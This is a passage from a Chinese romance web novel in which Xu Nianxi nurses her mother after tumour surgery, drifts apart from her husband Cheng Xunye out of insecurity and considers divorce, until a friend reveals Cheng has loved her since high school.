严岸泊这次过来是带着任务来的,全程就跟着夏熙的相机,还时不时指挥夏熙拍他左脸,他左脸更好看一点。等严岸泊心满意足地从夏熙的镜头前退下,坐到程洵也旁边,愣了瞬,想起什么似的,狐疑地看他。“你怎么不入境,难不成已经怕了我?” “…… 程洵也嘴角扯了下,懒得搭理他,问严岸泊:“你说,世界上有没有对流言蜚语完全无动于衷的人?”严岸泊还欣赏自己的潇洒帅气,随口回:“有啊。不在乎的人,不在乎,自然就无动于衷。” “… 他这话说完,夏熙喊了他过去补录。严岸泊连忙跑去了,跑到一半,又拉着程洵也:“快快快,这次一定要分个高下。免得你后面又说我胜之不武。”“……. 夏熙这条游轮视频,可能是风景太好,可能是刚好踩到了文旅宣传点上,出乎意料的成为了当月小热门。夏熙账号粉丝一夜之间长了大几万。她原来的老粉纷纷感叹。姐姐早该火了,还不忘催更新,让姐姐为了新来的粉丝,以后更新勤快一点。 就连出镜的严岸泊和程洵也也有人关注,纷纷问他们是谁,长得真好看。 严岸泊每天就捧着手机,看网友夸他帅的彩虹屁,点赞都点不过来。看到还是有人说程洵也和夏熙是一对儿,又一条一条反驳。 随着营销号下场搬运这条视频,甚至就连夏熙和程洵也他们的真实身份都被扒出来了。 还有,他们高三那年,在严岸泊的组织下,一起和夏熙拍的合照。 好几个人一起对着镜头比耶。里面也有公孙修竹和李伟豪,但是因为颜值问题,被选择性忽略。 最后站得很近的程洵也和夏熙,不知道被哪个营销号单独截图出来,被评价为颜值是最登对的情侣。营销号的这句话,很快被传播出去。 就连鲁惟与都看到了,她气急败坏的:不是。这些营销号胡说八道什么,还什么颜值最登对的情侣,从高中走到大学,再一起步入社会,简直是胡说八道。 徐念溪也看到了,她安抚鲁惟与:营销号很多消息本来就不真实,你别生气。鲁惟与被她一说,气消了点,但很快又问徐念溪:溪溪,你真的不管吗? 这次徐念溪很久没回复,鲁惟与就知道了她的意思。有些恨铁不成钢:溪溪,你真的很好,没必要觉得自己比不过别人。你再这样下去,以后肯定会后悔的。 隔着屏幕,徐念溪慢吞吞地抿了下唇。后悔。可能吧。但比起后悔,她可能更觉得,她本就不应该和程洵也在一起。 几天之后,营销号造谣的视频都被删了,夏熙在评论区澄清之后,又单独发了一条视频,解释她和程洵也的关系,是从小一起长大的朋友。但流言这种东西,都是产生容易,解释难。 与此同时,徐念溪和程洵也的关系也有了新的变化。他们不再像之前一样,时常说话。程洵也也不会像之前一直总小学生欺负人似的,在徐念溪面前臭屁。取而代之的是,他总爱用一种思索着什么似的目光,盯着徐念溪看。 徐念溪回头看程洵也,“怎么了?”程洵也收回目光,阐述什么似的,“没事,就是想和你说一声夏熙走了。” 徐念溪愣了下,“去哪里了?” “美国。” 徐念溪“这样”了一声,没有说别的。因为她知道,她和程洵也之间的问题,从来不是夏熙。是她自己,无法抑制住的自卑。 所以不是夏熙,也会是别人。只要一看到,更适合程洵也的人,她好像永远的做法都是,退开,给更好的人,腾位置。 但她这种态度,不知道怎么的,让程洵也更加不开心了。他盯着她,忽的一皱眉,表情很冷,眼眸中的情绪很重,站起了身。什么都没说,也没再看徐念溪一眼,往卧室走。 客厅里,一会儿就只剩下徐念溪一个人。一连好多天,徐念溪再也没在房子里见到过程洵也了。只晚上会听到程洵也回来的脚步声。 每次,她听到后,慢慢地吐出口气,感觉什么东西松了点,让她能喘息。但随着下一口氧气入肺,又有什么沉重的东西压过来。 她听过一句话,空气是慢性毒药。 人类呼吸一百年,就死去。 她之前一直不懂这种感觉,但现在懂了,每次呼吸,都能感觉胸口闷得让人觉得毙命。 五月下旬,徐念溪接到王君兰打来的电话。王君兰说她刚做完肿瘤切除手术,现在正在医院,要她拿下换洗的衣物和生活用品。听王君兰这么说,徐念溪立马和陈振请了假,匆匆到了医院,在病房里看到了王君兰。 手术已经做完了,王君兰手轻轻地搭在病床扶手上,正闭着眼睡觉。徐念溪走过去,轻手轻脚地放下包,坐在椅子上。 不知道是不是因为王君兰脸上带了几分虚弱,还是说特定场景带来的,徐念溪陡然之间,才发现王君兰其实很瘦,身上到处都是骨骼棱角。哪怕她不做表情,眉宇之间也会有两道折痕。长期皱眉留下的。 突然隔壁床的爷爷突然叫了一声,王君兰皱着眉睁开了眼睛,左右望了一圈,看到徐念溪。“东西给我带来了吗?” “带来了。”徐念溪道,边把拎过来的塑料袋,放进柜子里。 没等徐念溪放进去,王君兰费力地直起身,“给我看看,你做事我不放心。” 徐念溪没说话,把塑料袋递给她。 王君兰一件一件看,确认没问题了,才让徐念溪放回去。 她们俩在一起,总是没什么话的。 徐念溪拿了颗苹果出来,洗干净,削好皮,切成块,递给王君兰。 隔壁床的爷爷看到这一幕,不知道又发什么脾气,指着他儿子,说他对他不好,没大儿子孝顺。 老人家虽然躺在病床上,但依旧中气十足的。他儿子沉默着不说话,只拿了颗苹果出来,同样洗了又切开。爷爷嚼着苹果,又说他做事没脑子,总是别人说了,他才知道做。 像个钟一样,拨一下动一下的。 王君兰没睡好,吃完了苹果,就闭上眼睛睡觉。 徐念溪出去买了饭,她回来时,王君兰正捂着肚子,小步小步,往卫生间里走。就这么一点距离,她额头上全是汗。 徐念溪赶紧放了饭,只是王君兰不用她扶,操开她的手,自己进去了。 花了好一会儿,才出来。王君兰胸口的病号服全都是湿的。 徐念溪拿纸给她擦了擦,又把饭摆到她跟前,看她吃完,又陪了会儿床。 晚上十点,徐念溪接到了程洵也打来的电话,问她在哪里。 徐念溪如实说了后,程洵也沉默了会儿,说了句“行”。 爷爷脾气真的挺不好,徐念溪看到他儿子给他洗脸的时候不小心把水泼到他身上了一点,他就立马扯着嗓子喊,说他儿子虐待他。 王君兰被他吵得睡不着,在床上翻来覆去,估计是带动了伤口,表情有些痛苦。 徐念溪让她别动,又起了身去护士台,询问能不能换病房。 得知多人病房都满了,只有单人病房有一间空余。 徐念溪和护士说好后,又借了轮椅过来,让王君兰坐上去。把王君兰送到病房后,又折回来,拿了落下来的东西。 在王君兰抱怨她乱花钱,她又没让她换病房的声音里,徐念溪把东西放好。 那会儿已经十一点了。 病房里只开了益暗白色的长条灯,影影绰绰的。门没关,能看到走廊光线亮了一个度,红色的警报器格外显眼。时不时,还有隔壁病房的仪器声,以及细细碎碎匆忙的脚步声。徐念溪出了病房,借着走廊的光线,靠在透凉的墙上,看王君兰的病历。 良性卵巢肿瘤。王君兰给她打电话之前,她自己一个人,多次去了医院,做完了体检和结果筛查,甚至还自己动了手术。 这过程中,明明有很多机会,可是她一次都没告诉过她。一次都没有。 徐念溪慢慢垂眸。 只觉得有什么东西紧紧围绕着她。 让她本就不算良好的喘息,更紧了几分。 徐念溪是被一点轻微的推操叫醒的,她睁开眼睛,就看见程洵也出现在面前。她愣了瞬,再看了一眼,才发现真的是程洵也。脱口而出的就是“你怎么会来?” 程洵也看了她一眼,神情寡淡:“我问了护士台。”徐念溪嘴巴张了张,想说她不是这个意思,但王君兰像是听到了他们的对话,睁开眼睛看过来,见到是程洵也,当即笑了。“小程,你怎么来了?” 程洵也上前一步,把王君兰扶起来。“阿姨,我过来看看您。” 他们没交谈几句,护士过来换了点滴,又交代注意保暖,饮食清淡。等点滴快打完的时候,按铃叫她。 徐念溪应了声,找了张躺椅,准备边盯着点滴,边睡会。程洵也拍了拍她:“我订了家酒店,你去酒店睡。这里我来看着。” 徐念溪下意识摇头,说不用了。只是头还没摇到底,就听程洵也说:“徐念溪,有没有一些时候,你能稍微地…”他垂着眼,嘴唇紧抿,鸦羽般的长睫挡住眼眸中的情绪。 徐念溪一愣,程洵也深呼吸一口气,咽回了话语,侧过脸:“去吧。” “.…” 那天晚上,徐念溪在酒店睡了个不算很好的觉。夜里,她做了很多乱七八糟的梦。 有关于王君兰的,有关于程洵也,也有她自己的。梦里,她缩在一个角落,不知道在哭什么。明明有人,给她伸出了手,她却怎么都不肯接。 醒来时,刚刚凌晨五点。给陈振发了个她想继续请假的消息,便匆匆出了酒店。 医院的早晨带着点消毒水的气息,又刺又凉。坐上电梯,等她到了病房时,王君兰已经吃上早餐了。很清淡的肉末粥。 徐念溪也带了早餐来,这会儿便多出不少,她和程洵也解决的。今天早上要打的点滴不多,只一个大瓶,两个小瓶。徐念溪一个人守着就够了。 趁王君兰在卫生间里,徐念溪和程洵也打商量。“我自己来就可以了。你可以先回去睡睡觉,或者干点别的。” 程洵也垂眸,神色带着点思索。徐念溪再接再厉:“昨天晚上,你也累了吧。没必要两个人都在这里的。”听她这么说,程洵也才退了步:“行。”他进病房,拿了落在椅子上的外套。 徐念溪和王君兰交代一声,送程洵也下去。电梯很快下行,到医院门口。徐念溪没有再送了,停步,看着眼睑下方有点青黑的程洵也,认真地说。“谢谢你。”她完全没想到,程洵也会出现在这里。 程洵也看了她一会儿,没应她这句谢,收回视线:“那我晚上再来。”徐念溪沉默一会儿,还是摇头:“其实不用了,我自己一个人可以的。” 她说是这么说,但程洵也每天雷打不动地出现在单人病房里,帮忙照顾王君兰。王君兰本就对他挺满意的,每次看到他来,都眉开眼笑。 但和王君兰的满意不同,徐念溪则越来越不安愧疚。总觉得,这些东西不应该是程洵也做的。 还好,王君兰伤口不大,很快就能回家休养。办出院手续那天,程洵也没来,徐念溪一个人办的。办完就带着王君兰回了家。 老小区没有电梯,王君兰又有伤,她们花了很长时间,才挪上楼梯,进了屋子。 徐念溪把拿回来的东西重新归位,王君兰则坐在沙发上,电视照例还是放着非诚勿扰。 把手上的事情做完了,徐念溪直起身,又把中午要吃的药拿出来,让王君兰服下。 等王君兰吃完药,徐念溪看着她,嗓音平静:“妈,你身体不舒服为什么不告诉我。” 王君兰看都没看她一眼:“有什么好和你说的,又不是多大个事儿。” 这些天一直都有的但被她压抑下去的郁气,被王君兰这句话轻易地激得一下子起来了。徐念溪深呼吸一口气,耐着脾气:“怎么不是多大个事儿,如果是恶性肿瘤呢,你是不是也准备你自己知道就好,到时只让我见你最后一面?” 王君兰觉得她没事找事,嗓音一下子就沉了下来,看着她:“这结果不是良性吗。你非要假设这种事情吗?”“而且,我为什么要和你说,这是我的事情,和你有什么关系。”“我不就是让你帮忙拿点东西吗,谁让你指手画脚了。早知道这样,我还不如不要你拿,让护工帮我买得了。” 她还是一如既往的毫不客气。徐念溪指尖收紧,看着王君兰写满理所当然的脸,闭了闭眼,胸口像被什么东西堵住。 有时候,她会觉得,是不是王君兰,认为她不会担心她,不会关心她,所以就连这么大的事情,她也不认为她应该知道。有时候,她也会觉得,王君兰是不是从来都不信任她,所以才把任何东西,都划分得那么清楚。哪怕她是她的孩子,也不能染指半分。 程洵也打电话过来,“你们出院了吗?”徐念溪应:“对。不好意思,忘了告诉你。”程洵也沉默会儿,道:“那晚上我过去看看阿姨。” 徐念溪安静了五秒,轻声开口:“还是不用了吧。你这些天辛苦了,好好休息一下比较好。” 她这话说完,程洵也不说话了。 良久,程洵也嗓音薄凉,听不出情绪:“好。” 他挂了电话。徐念溪听着电话里传来的嘟嘟声,深深地吐出口气。一次。两次。三次。 才紧紧地捂住了自己的脸,背脊好像被什么东西压垮。其实她没有资格说王君兰。因为,她和王君兰一样,不相信别人、不相信长久的感情、不相信有好事能被她碰到。 所以,就算能遇到好人好事,她这种人,能做的好像也只是,把这些东西推走。 眼不干为净。 明明她也不想,可她做不到。 王君兰刚从医院出来,徐念溪帮她给宾馆请了假,也和陈振说明了情况。陈振很能体会这种长辈伤病,子女的难做之处,给了她半个月假期。 徐念溪每天就给王君兰做饭、打扫卫生,一段时间下来,她照顾病患的能力越来越强。但王君兰却越来越不满意,总催她赶紧回去,又总问她小程什么时候来。 徐念溪总沉默。 许是从徐念溪的沉默中感受到什么。 王君兰态度更不好了,宁愿拖着病体去厨房自己做饭,也不愿意吃徐念溪做的饭菜。 又一次不欢而散之后。 徐念溪回到卧室,正傍晚七八点的时候,外面天际上应该是一片火烧云,暖橙橙的景象,但现在,她的卧室却是一片漆黑。 她拿出手机看了看,和程洵也上次对话还停留在十天前。 他发来消息问她,吃晚饭没。 她客客气气地回复他,吃过了,谢谢。 那之后,他们再无对话。 严岸泊打了很久的电话,程洵也才接。接了他也不愿意出来,严岸泊只能自己拎着打包好的夜宵,过来了。 程洵也开了门,他一头黑发乱糟糟的,好像刚从被子里爬出来一样,脸色也不太好,神色萎靡。严岸泊拍了拍他,疑惑地说:“你干嘛呢,不是去照顾念溪母亲了吗?怎么你自己搞成这个样子。” 程洵也扯了扯嘴角,没应他的话。接过严岸泊递过来的烧烤,吃了几口,才慢慢道:“我感觉我做错了件事。”“什么事?” 程洵也垂眸,看着自己的指尖,嗓音很低:“我总学不会对一些事情不保有期待。”得知徐念溪报考南大后,程洵也完全不敢相信。觉得肯定是他听错了。 那天毕业聚餐,他很早就来了,想和徐念溪确认这个事。他也不知道怎么等到的徐念溪,不解、愤怒、迷茫等等情绪好像装了转换器一样,在他的脑海里,不停地转换。 好不容易等到了徐念溪,她和鲁惟与一起来的,正笑着和鲁惟与说话。似乎注意到他的目光,她朝他看过来,发现是他,朝着他笑了下。还是那么个笑意温吞的模样。 程洵也拿着可乐的手收紧,又慢慢放松。就那么一瞬间,心中好像已经为她找好了千百种借口。但很快,他又清楚地意识到这只是借口,他还是想要一个答案。 趁着徐念溪起身的功夫,他跟了上去。但他却没问。 因为鲁惟与说话了,她好像发现他今天晚上都在看徐念溪似的,问得好奇:“溪溪,你看到程洵也没?他今天晚上都在看你。” 徐念溪愣了瞬,“有吗?”鲁惟与很肯定:“有啊,有啊。他真的在看你。溪溪,你说,他是不是真喜欢你啊?我其实真的感觉他喜欢你,还是很明显的那种。怎么你就是不信呢。” 徐念溪像是在思考,又像是听到什么天方夜谭。几秒钟之后,她笑了,嗓音都带出几分不可置信:“怎么可能呢?”“怎么不可能啊,你成绩又好,长得又漂亮,如果我是男生,我也喜欢你。” 徐念溪嗓音里笑意更重了点:“我这些算什么啊。他真的不可能不可能喜欢我。而且就算可能……”她想了想,"那我也不可能喜欢他。"“啊,为什么啊。”鲁惟与的声音里面满是可惜。 徐念溪说得理所当然,几乎没有任何犹豫:“你不觉得,我和他是两个世界的人吗?”鲁惟与想了想,叹了口气:“也没有到这个程度吧。” 她们走后,程洵也动了动身子,从窗后走出来。今天是个圆月,月色如水,把一切都照得干净透亮。 他看了好一会儿,才慢慢地勾了勾唇角。两个世界的人。所以她改变志愿也不会告诉他。所以她看到他有可能喜欢她,第一做法就是躲远一点。所以,他到底在追求什么答案。 两个世界的人。这个事实到现在也没有改变。徐念溪好像就那么,时不时的愿意到他的世界来一点,但什么时候她又不愿意了,又一下子缩了回去。 他和她之间,好像全都是凭她的喜好和心意。他从来都没有任何决定权。 如果他能不抱有期待,那她时不时的靠近,其实是恩赐。可是他就是这种人,就是这种容易有期待的人。他不够冷静、不够理智,学不会权衡。 一次、两次、三次的期待又失望之后。他好像突然有点累了。 严岸泊不知道他在说什么,拍了拍他的肩膀:“说什么丧气话呢,没有期待,日子怎么有盼头。”程洵也勾了下唇,没说话。 边吃夜宵,严岸泊边问:“念溪呢?还在医院吗?”程洵也摇头:“回家照顾她母亲去了。” 严岸溪愣了瞬,也没当回事,吃过夜宵,就告别了程洵也。 47、047 ... 又一次被王君兰催促回去,徐念溪没说话,只起了身,把她没有吃一口的饭菜放进冰箱里,回了卧室。等她再出来卧室时,就听见王君兰在和人打电话,不知道和对方说了什么,她神情中难得带出几分笑意。 挂了电话之后,王君兰对徐念溪也没有之前的横眉冷对,相反还愿意让徐念溪照顾她,还让她把饭菜重新热热,她想吃。 一个星期后,王君兰的身体总算好了点,伤口也愈合得差不多了。 见状,王君兰又开始催促她,让她赶紧回去,说小程现在正好在家,她回去的话,刚好可以见到小程。 徐念溪愣了瞬,抬头看王君兰:"小程?" “对。”王君兰笑眯眯的,“这些天我不是一直在和他打电话吗。他说,他去出差去了,所以没有时间来看我,但有你在,他很放心。” 徐念溪回了卧室,找到不知道什么时候没电的手机,充上电,给程洵也发消息:谢谢。 程洵也很快回复了:不用谢。 就三个字。 看不出其他东西,徐念溪盯着看了好一会儿,等手机屏幕自动黑了,才慢慢地收回视线。理智知道,她这样做是最好的。她这样的人,不知道什么时候,不知道什么地方,就会像王君兰一样,把别人扎得满手是血。她宁愿被扎的人是她自己,也不愿意是程洵也。那么好的程洵也,她希望他未来快乐美满,人生处处是惊喜。 可情感上,做不到这么理智。她依旧希望并渴望,和程洵也有关的一切。也依旧希望并渴望,那些惊喜和她有关。 半个月的请假彻底过去了,王君兰重新开始上班,徐念溪也再去了振荣。一天的工作结束,徐念溪搭乘地铁,去了程洵也的房子。她进来时,程洵也正好在。 他穿了件黑色长袖,领口很大,露出锁骨,见到她,愣了一瞬,很快就回复正常。正常像是见到了一个关系半生不熟的朋友。和她打了声招呼,嗓音寡淡:“好巧,你回来了。” 徐念溪反倒不适应起来,几不可闻地愣了下,和他交代:“我这次来是想拿点衣服,我妈还需要我照顾一段时间。”这当然是假话,而且一段时间也没有给出一个准确的日期。但程洵也不知道是没发现,还是发现了也不在意,只说:“好。你拿。” 说完,他也不留在客厅,而是直接回了卧室。转眼之间,客厅只剩下徐念溪一个人。 她在客厅磨磨蹭蹭了一会儿,也不知道干什么,有些茫然。过了会儿,才反应过来,要去卧室。把卧室里该拿的一些生活用品都收好。于是原本被塞得很满的卧室,一下子变得空荡了不少。 徐念溪拎着行李袋,出去时,客厅还是没人。这会有些晚了,客厅灯也没开,只有一点火烧云通过落地窗渗透进来。黑暗中透着几分朦胧的光亮。又安静又漫长。 徐念溪站在原地,发了会儿呆,对着空气,用气音说了句“那我走了”。 直到彻底听不到外面的动静,程洵也才把眼罩丢了,起了身。透过卧室的落地窗,看着楼下那个几不可闻的小点,一点一点走远,直到彻底消失在他的眼中。 徐念溪提着个行李袋回来这事,王君兰刚开始是不知道的,但有次她推开徐念溪的房门,看到了徐念溪没处放,只能放在过道的行李袋。 等徐念溪下班回来,就在客厅看到了正寒着脸坐在沙发上的王君兰。王君兰脸色不好,开口就是质问:“你这次回来是准备在家待多久?怎么连行李袋都拿回来了?这里可不欢迎你。” 徐念溪已经想好了托词:“没有准备待很久,等程洵也出差完,我就回去。” 听她这么说,王君兰脸色才好转了一点。徐念溪没再和王君兰说什么,而是出了门,在中介的带领下,看了几间振荣附近的出租房。振荣毕竟地方偏远,附近的房价不贵,两室一厅的整租也只用五百一个月。 看了几间,徐念溪都没看好。约了明天再看,徐念溪返回的时候,约了鲁惟与吃饭。 鲁惟与很快就到了,看到徐念溪就叹气。“溪溪,你又瘦了不少。”徐念溪笑了笑:“可能是这段时间,照顾我妈,有点累到了。” 鲁惟与看着她欲言又止。徐念溪没再看鲁惟与,而是低头看了菜单。点好菜,她们就这样,鲁惟与时不时用难以言说的眼神盯着她。徐念溪一概当没看到。 等吃过饭,徐念溪和鲁惟与往外走。走到附中附近时,抬眼的瞬间。正好看到了程洵也。他一身黑,带着顶鸭舌帽,还带了口罩。 从未有过的低调,似乎是感受徐念溪望过来的目光,他抬眼往这边看过来。见是徐念溪,他隔着距离,点了下脑袋。当做打招呼,然后继续往前走。转眼之间,就没了人影。 他从来没有像这样过,短暂地出现在她面前,又很快离开。快得好像她在做梦一样。 徐念溪愣了好半天,才怔怔地收回视线,心绪难言。好像在惆怅,好像在悲伤,又好像觉得恍然。旁边的鲁惟与深深地叹了口气。 她们谁都没说话,往前走。告别鲁惟与,徐念溪坐上地铁。 时间不早了,地铁车厢没有多少人,徐念溪找了最后的位置,靠在地铁壁上,蹲下。冰凉的触感透过单薄的外套,传到她身上。 身上好像一点温度都没有,她缓了会儿,抬起头,拿了手机出来,搜索离婚程序。字打了两遍,才打出来。只是在页面跳转出来前一秒,徐念溪心跳得厉害,窒息感浮起,她不敢看,抖着指尖给关掉了。 深呼吸几口气,那种难言的心悸感才消散。她知道这样不好,是在耽误程洵也,也不和他说明白。可是她不舍得,也没有勇气,主动和他说再见。 王君兰下班回来时,徐念溪已经把行李收拾好了。见她准备回去,王君兰笑了,交代道:“终于要回去了。以后记得和小程好好过日子。”徐念溪没应声。只把行李袋,一点一点拎下楼。 新租好的房子,在振荣附近的筒子楼里。两室一厅,房子很老。所以房租也比正常价位便宜,一个月便宜五十块。 徐念溪把房子打扫了一遍。那会儿已经是晚上十点了。她还没吃饭,随便去楼下买了点什么吃。 吃过以后,徐念溪回到房子里。没开灯。新租的房子偌大又空荡,上个世纪的装修风格,红色实木家具在黑夜中像一个个怪诞而恐怖的情景。只听到黑暗里,她一个人的呼吸声。一起一伏。是这个世界的一点点几不可闻的萤火。 无人在意。可能某天,死在这里,似乎也无人知道。但这是她活该。 因为她比之前住得近,徐念溪到达振荣更早了一点。姜颂有次特意天还没亮,就过来了,然后在振荣看到了徐念溪的身影。她坐在椅子上,看着窗外的日出,一点一点攀升,神色愣然,不知道在想什么。 姜颂打开灯,笑:“当当当当,被我抓到了吧,我就纳闷你最近到底是什么时候来的。”说完,姜颂看了眼手机,眼睛睁大:“不是吧,溪溪姐!这才凌晨五点半。” 徐念溪收回视线,看着姜颂笑了下:“一日之计在于晨嘛。”姜颂嘀嘀咕咕的:“再怎么在于晨,也不能起来这么早吧,你到底睡觉了没啊。” 时间就这么过。某个有些炎热的午后,徐念溪莫名其妙地惊醒,在无端的恐慌中,浑身出了很多汗,心跳得快要喘息不过来。她下意识拿出手机,找了程洵也的微信。想问问他是不是出了什么事。 但语句已经打好了,她却不敢输过去,愣愣地看着起了很多水雾的手机屏幕。她愧疚于这么长时间的耽误他,又害怕他可能发过来的冷淡话语,更恐惧于他可能会提出的离婚。 她从来不是个坦荡的人,所以任何处理不了的问题都会拖到最后一秒。好像这样之后,问题能变小,或者变不见。 可是,事实上,从来都没有变过。变得只是她日复一日增加的胆怯和恐惧。从之前很小一个黑点,到现在,偶然一看,已经几层楼高的巨大黑影。让她想一想,就更加恐惧,更加害怕。 可恐惧害怕,从来都解决不了问题。那个午后,徐念溪在手机上,搜索了很多遍,离婚手续。打开一个页面,很快又关掉。关掉又打开。 来来回回,重复了好多遍。她不想看,可积累下来,还是能知道,离婚程序到底是怎么样的。 窗外的风吹过来,凉凉的,带着一点铁锈味道。徐念溪才发现她脸上满是不知道什么时候流下的眼泪。糊了满脸。 徐念溪起身,到卫生间,透过开裂了的镜子,看清她的脸。这么一会儿功夫,她已经没哭了,只有眼圈有点红以外,看不出任何异色。好像,她什么都没干,只是被风迷了眼。没什么大不了。 徐念溪深呼吸一口气,有点释然,再过一段时间,她可能想起这个事,应该不会有情绪波动了,然后就能坦然地,和程洵也说这个事儿。 可理智这么想,情绪上还是有点难受,像什么很小的东西堵在胸口,因为体积不太大,所以她可以忽视。可也是因为体积不太大,所以她难以拿出来,更难以说出口。只噎在胸口,伴她度日。 48、048 ... 九月中旬的时候,鲁惟与给徐念溪过了生日,她笑眯眯的:“溪溪!祝你生日快乐。这次你可不能再说什么都不要了,我可是已经上岸了。”前段时间,鲁惟与入职了西津下面的乡镇政府。 这会儿正是开心的时候。 “说了等我上岸了,我们就一起去潜水。你也不去,说什么最近太忙。”鲁惟与声讨她。徐念溪笑了笑:“确实有点忙。” 鲁惟与不依,吃过饭之后,拉着她去了商场。一家专卖店、一家专卖店地逛。给徐念溪买了不少东西。 徐念溪都接受了。等到来到家银饰店。鲁惟与挑选了个银手链,刚想系在徐念溪手腕上,徐念溪回过神似的,“刷”的一下收回了手。 鲁惟与动作停住,深呼吸一口气,也不让她带了,放回手链。她们走出银饰店,徐念溪粉饰太平,笑了下:“怎么突然不说话了?” 鲁惟与没看她,嗓音放得重:“溪溪,你既然还喜欢他,干嘛不去找他。”不知道从什么时候开始,徐念溪的手腕上多了一条手链。银质手链,有个月亮挂坠。 她知道这是个情侣手链,也知道其中一条被徐念溪当作生日礼物,送给了程洵也。她这话像一瞬间撕开了什么自欺欺人的假面。 她们俩往外走。走出去好远,徐念溪才轻声:“不太敢,也不太能。”是她做出来的这一切,所以她不应该再三番五次地打扰他的生活。 她低眼看着手腕上的手链,声音很轻:“我带着它,只是时刻提醒我自己,还有离婚程序没走。可能什么时候,我突然就有勇气了,就和他说了这事了。”然后他们俩,彻彻底底没有任何关系了。 鲁惟与也不说话了,走到家冰淇淋店。鲁惟与拍了两百块,给店主,让他看着上,把店里最贵最好的冰淇淋,全都拿上来。 吃过冰淇淋,她们说了道别。徐念溪往回走,边走边看着手腕上的手链,无意识地思考。思绪好像,飘飘浮浮的,像一根线,绕在程洵也身上。 她不知道这勇气什么时候会有,她到底还能拖程洵也多久。她也不知道程洵也还能容忍她多久。 有时候,徐念溪能感觉到,她和程洵也之间,像是一根快要拉断的绳。她有时候看过去,就会有数不尽的窒息感。但在窒息感中,她又忍不住有些庆幸感。起码还有绳子,而不是什么都没有。 还是严岸泊看到徐念溪的,开着车在她身边滴滴叭叭的。“念溪念溪,这儿。” 徐念溪看过去,对上严岸泊的脸。她又下意识往副驾驶看。没人。 说不上是失望,还是庆幸,徐念溪收回视线,笑了下:“好巧。”严岸泊下车,给她打开车门:“来,上车。带你去我刚开的火锅店看看,没吃饭的话,就一起过去吃火锅。这些日子你照顾阿姨辛苦了。” 徐念溪上了车,疑惑道:“我在照顾……我妈?”严岸泊关上车门,“对啊。你不是在照顾你妈妈吗?洵也都和我说了,你要在家待一段时间。这不这么长时间没有见到你了。” 徐念溪愣了下,没说话。车往前开,严岸泊一会儿说他这店开得可是真不容易,选址都选了好几个月,一会儿又说,等阿姨身体好了,他们再一起出去吃饭。零零碎碎,乱七八糟的。 徐念溪忍了一会儿,还是没忍住问:“等会吃火锅,程洵也会来吗?” 严岸泊边看后视镜,边随口回:"不来。他不是去了宁澜出差吗?你不知道吗?" 徐念溪眼睫颤了颤,她好几个月没有联系过程洵也,他们俩毫无交集,她自然也不知道他的任何动向。只是徐念溪不愿意说出口:“没。我只是忘了。”严岸泊没发现她的异样,边看窗外,边道:“到了,下车吧。” 下了车,果然是一家新开的火锅店,装修、座椅板凳、服务员的工作服都是崭新的。严岸泊拉着她,找了个地方坐下,又冲着服务员大手一挥,“把店里招牌菜都上一份。” 很快,络绎不绝的白瓷盘被上了上来。徐念溪觉得太多了,但严岸泊还不以为意似的,直往上摆:“不多,多什么多。我难得和你单独吃顿饭,要是不好好招待你,洵也知道了,肯定会说我的,你都不知道他又多记仇。”“就高中有一次,我说他长得丑,结果第三天,我们一起去动物,他指着个狒狒突然说,我就跟他长得差不多,你说他这人啧啧…….”严岸泊边说边摇头,明明嘴里说的是他哪里哪里不好,但眼里却带着笑意。 徐念溪没说话,甚至她也不应该听,但她没有出声制止。任由严岸泊说了下去。 “还有一次,他想请假去看你的英语比赛,跑过来问我,能用什么理由请假。我当时敷衍他,我就说,你找个理由得了。”"他当时没听懂,还反问我,所以要找什么理由。等他反应过来后,气得一个星期没理我。" 说到这里,他忍不住笑,摇着头:“他就是这么个人。” 徐念溪也笑,只是笑容不大,不仅不大,还满是苦涩和狼狈。她感觉,她不应该听下去的,多听一分,她就难过一分,遗憾一分,可惜一分。明明程洵也,是那么好的人。 可是她不听,以后就没有机会了。严岸泊的到来,好像在提醒她,有些东西她再怎么掩饰,其实她都心知肚明。 严岸泊说到这里,神秘兮兮:“他这个人,藏得最大的秘密是什么吗?”徐念溪吸了下鼻子,摇头。 严岸泊笑:“那当然是,瞒着那么多人,喜欢你。他和我说英语比赛的时候,我压根没反应过来,他是跑去看你的,还以为他突然犯了什么病,要跑去看英语比赛,回来还数落了他好久……” 宛如有道惊雷,从上而下地劈过来。徐念溪眼眸睁大:“你刚刚说什么?”严岸泊重复:“回来我还数落了他好久啊。”徐念溪摇头,催促道:“不是这一句。是最前面的。你说他最大的秘密。” 严岸泊懂她意思了,笑了:“不就是,他喜欢你吗。其实这个事挺多人知道的,我知道,公孙修竹他们俩个没脑子的也知道。你不知道吗?” 他看向徐念溪,神情中带了几分疑惑。像是在说,你怎么可能不知道。 徐念溪连连摇头:“我当然不知道,我我怎么会可能知道?”严岸泊更疑惑了,“他没有和你说吗?” “没有。” "那你没有感觉出来吗?" “………”,徐念溪顿了下,摇了摇头,“没有。” 与其说,她没有感觉出来。 更多的是,她完全不会相信程洵也会喜欢她这么一个人。鲁惟与三番五次,和她说,程洵也可能喜欢她。她觉得天方夜谭,完全觉得不可能。 严岸泊皱眉,纳闷道:“不是吧。他真的挺明显的,你竟然不知道。” 剩下的饭,徐念溪没有怎么吃,而是拜托严岸泊把她送到王君兰那儿。回去时,王君兰正在客厅,看非诚勿扰。她匆匆略过王君兰,把床底下,她高中时的东西都找出来。 徐念溪不是个怀旧的人,一般东西放在那儿就放在那儿了,她从不会打开。她从不会觉得,她的高中时代,除了鲁惟与以外,有任何值得怀念的地方。 只是这次打开,灰尘扑面,在呛咳声里,她翻到了一张褪色了的照片。是她高二那年参加的一个英语比赛,活动不算小,她特意请假去的。 赛后,节目主持人让还留在场地的观众和所有参赛选手一起合影留恋。她站在正数第二排,看着镜头的模样有些拘束。她身后的第四排,有个模样很好看的挺拔少年,眉骨深邃,眼眸微微下垂。所有人都在看镜头,只有他,看着她的方向,神情散漫中带着几分慵懒。不知道是那天天气太好,少年琥珀色眼眸里,染着几分星星点点的笑意。 好像一瞬间,有种什么奇妙又玄妙的东西,凭空把她的灵魂震了一下。 所有的事,都串联起来。从再次重逢时的,他的行为话语,到他后来突然那一句结婚,再到现在的种种…… 她是个相信却也不相信童话的人,她相信世界上有童话,但不相信童话会降临到她身上。可就是在,某时某刻,某些她不知道的边边角角,童话其实一直都陪着她。 徐念溪过去程洵也的房子时,程洵也刚回来,正往玄关上放钥匙。他们好长时间没有见面了。他瘦了不少,神情寡淡,低眼看着她:“这次是准备拿什么吗?” 徐念溪摇头,视线紧紧地看着他。他和她对视,像是懒得再问了,几秒后,收回视线:“那你自己看着办吧。”说完,他便进了卧室。 